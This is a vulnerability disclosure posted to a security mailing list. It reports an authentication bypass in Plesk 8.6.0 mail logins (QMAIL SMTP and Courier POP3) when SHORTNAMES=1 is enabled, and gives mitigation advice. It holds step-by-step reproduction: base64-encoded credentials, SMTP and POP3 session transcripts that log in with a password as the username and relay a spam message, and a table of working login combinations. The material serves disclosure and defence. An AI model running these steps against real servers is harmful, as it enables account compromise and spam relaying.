Plesk 8.6.0 authentication flaw allows to gain virtual user priviledges
Hello,
the reported vulnerability allows logins to mail and probably other
services protected by plesk authentication modules on at least the
current Plesk 8.6.0 Unix/Linux and could eg. be used for relaying spam
through gained smtp auth priviledges.
Only systems which allow short mail login names (SHORTNAMES=1) are
affected, which is not the default but is eg. effective after migrating
from Confixx control panel or by administrators manual choice.
My curent advice is to disable short login names through control panel
under Server -> E-Mail until the issue is resolved.
NOTICE: I have tried to contact Parallels about this issue by E-Mail to
bugreport@xxxxxxxxxxxxx, bugreports@xxxxxxxxxxxxx and
abuse@xxxxxxxxxxxxxx With the E-Mail to bugreport and abuse being
bounced and to bugreports being ignored.
Tries to contact through web support form were unsuccessful because my
plesk license is subcontracted from a serviced provide, so I see no
other choice than gaining attention to this issue by releasing it to a
security related mailing list.
Below is the full Mail I sent to Parallels about this issue:
---snip---
Hello,
I have discovered severe security flaws in Plesk 8.6.0 regarding the
SHORTNAMES=1 feature for E-Mail logins, that could easily lead to
compromised accounts and spam relaying.
The bugs could be reproduced on an existing Plesk 8.6.0 system with data
migrated from older Plesk Versions and originall from Confixx aswell as
on a fresh test install of Plesk 8.6.0 both on OpenSUSE 10.3 x86_64 and
using psa autoinstaller.
(1) If SHORTNAMES=1 is active for smtp_psa or smtps_psa in xinetd, QMAIL
will accept ANY correctly base64 encoded username which begins with a
valid shortname or equals a valid password during AUTH LOGIN
authentication. This is only fixed by completely removing SHORTNAMES=1
from smtp(s)_psa, simply setting it to 0 has no effect.
Steps to reproduce:
- make sure smtp_psa contains: "env = SMTPAUTH=1 SHORTNAMES=1"
- generate a bogus username and encode to base64: "printf
'<validalias><bogustext>' | base64" eg. 'fbbogus' -> ZmJib2d1cw==
(alternatively and more easily reproducible encode <validpass> from
below to base64 and use as a username)
- encode a valid password of a mail user to base64 "printf '<validpass>'
| base64" eg. 'password' -> cGFzc3dvcmQ=
- telnet to mailserver smtp port
< 220 HELO mailserver ESMTP
> > AUTH LOGIN
< 334 VXNlcm5hbWU6
> > cGFzc3dvcmQ=
< 334 UGFzc3dvcmQ6
> > cGFzc3dvcmQ=
< 235 go ahead
> > DATA
< 354 go ahead
> > From: Spam Sender <bogus@xxxxxxxxxxxxxxx>
> > To: Spam Receiver <outside@xxxxxxxxxxxxxxxxx>
> > Subject: Get SPAM cheaply
> >
> > Message body.
> > .
< 250 ok 1219629627 qp 6032
> > QUIT
< 221 mailserver
The same Problem exists with Courier IMAP, checked over POP3 using
cleartext USER / PASS and AUTH LOGIN authentication, SHORTNAMES=1 inside
/etc/courier-imap/pop3d:
telnet to mailserver pop3 port:
+OK Hello there. <6274.1219631200@mailserver>
USER password
+OK Password required.
PASS password
+OK logged in.
LIST
+OK POP3 clients that break here, they violate STD53.
.
QUIT
+OK Bye-bye.
Example for working login combinations with sample domain somedomain.com
and otherdomain.com:
Mail account: test@xxxxxxxxxxxxxx pass: somesecret
Mail account: test2@xxxxxxxxxxxxxx pass: password
Mail accound: fwd@xxxxxxxxxxxxxxx forwarded to somewhere@xxxxxxxx
Working login combinations with SHORTNAMES=1
OK: test / somesecret
OK: test@xxxxxxxxxxxxxx / somesecret
OK: test2 / password
OK: test2@xxxxxxxxxxxxxx / password
BAD BUT WORKNG: somesecret / somesecret
BAD BUT WORKING: password / password
BAD BUT WORKING: test2bogus / somesecret
NOT WORKING: test2bogus / password
MAYBE NOT WORKING: testbogus / somesecret
MAYBE WORKING: fwdbogus / somesecret
MAYBE WORKING: fwdbogus / password
I cannot reproduce this behaviour on all account on the production
system, but removing SHORTNAMES=1 from alls mailserver configs fixes the
behaviour, although I haven't experimented with stuff like
test@xxxxxxxxxxxxxxxxxxxxxxx as username.
I have not currently reported this security vulnerability anywhere else
to protect plesk customers, but will reserve the right to post this to
public security notification lists, if action to fix this problem is not
taken in a timely manner by Parallels.
I can provide root login to the test system on request, just need to
negotiate a timeframe because it's running in a VM behind a NAT router.
Best Regards,
Felix Buenemann
---snip---
Best Regards,
Felix Buenemann